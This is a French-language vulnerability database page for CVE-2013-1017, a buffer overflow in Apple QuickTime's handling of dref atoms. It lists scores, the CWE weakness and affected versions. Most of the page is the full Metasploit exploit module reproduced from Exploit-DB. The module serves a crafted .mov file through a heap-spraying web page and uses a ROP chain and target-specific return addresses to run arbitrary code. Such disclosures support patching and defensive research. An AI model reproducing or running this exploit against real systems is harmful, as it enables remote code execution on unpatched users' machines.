CVE-2013-1017 : Détail

CVE-2013-1017

Overflow
96.87%V3
Network
2013-05-24
08h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in Apple QuickTime before 7.7.4 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via crafted dref atoms in a movie file.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 27012

Date de publication : 2013-07-21 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Apple Quicktime. The flaw is triggered when Quicktime fails to properly handle the data length for certain atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer overflow by loading a specially crafted .mov file, and allows arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor 'Tom Gallagher', # Original Discovery (overlapped) 'Paul Bates', # Original Discovery (overlapped) 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2013-1017' ], [ 'BID', '60097' ], [ 'URL', 'http://support.apple.com/kb/HT5770' ] ], 'Platform' => 'win', 'Targets' => [ # All of the following addresses are from Quicktime.qts # RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET [ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ], [ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ], [ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ], [ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ] ], 'Payload' => { 'BadChars' => "\x00" # js_property_spray no like nilz }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, 'DisclosureDate' => "May 22 2013" )) end def get_payload(t) p = '' rop = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") p << rop p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 p << payload.encoded p end def targetable?(agent) if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/ return true elsif agent =~ /contype/ # contype: a mov file request from Apple Quicktime return true end false end def get_html(t) js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) fake_mov_name = rand_text_alpha(4) + ".mov" html = %Q| <html> <head> <script> #{js_property_spray} var s = unescape("#{js_p}"); sprayHeap({shellcode:s}); </script> </head> <body> <embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed> </body> </html> | html.gsub(/^\t\t/, '') end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("Requesting: #{request.uri}") unless targetable?(agent) print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end print_status("Target selected as: #{target.name}") if target if request.uri =~ /\.mov$/ print_status("Sending specially crafted .mov file") send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' }) else html = get_html(target) send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) end end def sort_bytes(data) data.map { |e| [e].pack('N').scan(/../).reverse.join }.join end def rop_nop(t) [t['Nop']].pack('V*') # Ret (QuickTime.qts) end def exploit buf = '' buf << rand_text_alpha(467) # 467 to align the pivot 10.times { buf << rop_nop(target) } buf << [ target['Pop'], # POP ESP; RET (QuickTime.qts) 0x20302020 # Target value for ESP (our ROP payload) ].pack('V*') buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size # Quicktime File Format Specifications: # https://developer.apple.com/standards/qtff-2001.pdf mov = "\x00\x00\x06\xDF" # File size mov << "moov" # Movie atom mov << "\x00\x00\x06\xD7" # size (1751d) mov << "rmra" # Reference Movie atom mov << "\x00\x00\x06\xCF" # size (1743d) mov << "rmda" # rmda atom mov << "\x00\x00\x06\xBF" # size (1727d) mov << "rdrf" # Data reference atom mov << "\x00\x00\x00\x00" # size set to 0 mov << "alis" # Data reference type: FS alias record mov << "\x00\x00\x06\xAA" # Size (1706d) mov << rand_text_alpha(8) mov << "\x00\x00\x06\x61" # Size (1633d) mov << rand_text_alpha(38) mov << "\x12" mov << rand_text_alpha(81) mov << "\xFF\xFF" mov << rand_text_alpha(18) mov << "\x00\x08" # Size (8d) mov << rand_text_alpha(8) mov << "\x00\x00" mov << "\x00\x08" # Size (8d) mov << rand_text_alpha(8) mov << "\x00\x00" mov << "\x00\x26" # Size (38d) mov << rand_text_alpha(38) mov << "\x00\x0F\x00\x0E" mov << "AA" # Size (must be invalid) mov << rand_text_alpha(12) mov << "\x00\x12\x00\x21" mov << rand_text_alpha(36) mov << "\x00" mov << "\x0F\x33" mov << rand_text_alpha(17) mov << "\x02\xF4" # Size (756h) mov << rand_text_alpha(756) mov << "\xFF\xFF\x00\x00\x00" mov << buf @exploit = mov super end end

Products Mentioned

Configuraton 0

Apple>>Quicktime >> Version To (including) 7.7.3

Apple>>Quicktime >> Version 3.0

Apple>>Quicktime >> Version 4.1.2

Apple>>Quicktime >> Version 5.0

Apple>>Quicktime >> Version 5.0.1

Apple>>Quicktime >> Version 5.0.2

Apple>>Quicktime >> Version 6.0

Apple>>Quicktime >> Version 6.0.0

Apple>>Quicktime >> Version 6.0.1

Apple>>Quicktime >> Version 6.0.2

Apple>>Quicktime >> Version 6.1

Apple>>Quicktime >> Version 6.1.0

Apple>>Quicktime >> Version 6.1.1

Apple>>Quicktime >> Version 6.2.0

Apple>>Quicktime >> Version 6.3.0

Apple>>Quicktime >> Version 6.4.0

Apple>>Quicktime >> Version 6.5

Apple>>Quicktime >> Version 6.5.0

Apple>>Quicktime >> Version 6.5.1

Apple>>Quicktime >> Version 6.5.2

Apple>>Quicktime >> Version 7.0.0

Apple>>Quicktime >> Version 7.0.1

Apple>>Quicktime >> Version 7.0.2

Apple>>Quicktime >> Version 7.0.3

Apple>>Quicktime >> Version 7.0.4

Apple>>Quicktime >> Version 7.1.0

Apple>>Quicktime >> Version 7.1.1

Apple>>Quicktime >> Version 7.1.2

Apple>>Quicktime >> Version 7.1.3

Apple>>Quicktime >> Version 7.1.4

Apple>>Quicktime >> Version 7.1.5

Apple>>Quicktime >> Version 7.1.6

Apple>>Quicktime >> Version 7.2.0

Apple>>Quicktime >> Version 7.2.1

Apple>>Quicktime >> Version 7.3.0

Apple>>Quicktime >> Version 7.3.1

Apple>>Quicktime >> Version 7.4.0

Apple>>Quicktime >> Version 7.4.1

Apple>>Quicktime >> Version 7.4.5

Apple>>Quicktime >> Version 7.5.0

Apple>>Quicktime >> Version 7.5.5

Apple>>Quicktime >> Version 7.6.0

Apple>>Quicktime >> Version 7.6.1

Apple>>Quicktime >> Version 7.6.2

Apple>>Quicktime >> Version 7.6.5

Apple>>Quicktime >> Version 7.6.6

Apple>>Quicktime >> Version 7.6.7

Apple>>Quicktime >> Version 7.6.8

Apple>>Quicktime >> Version 7.6.9

Apple>>Quicktime >> Version 7.7.0

Apple>>Quicktime >> Version 7.7.1

Apple>>Quicktime >> Version 7.7.2

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Références

http://support.apple.com/kb/HT5770
Tags : x_refsource_CONFIRM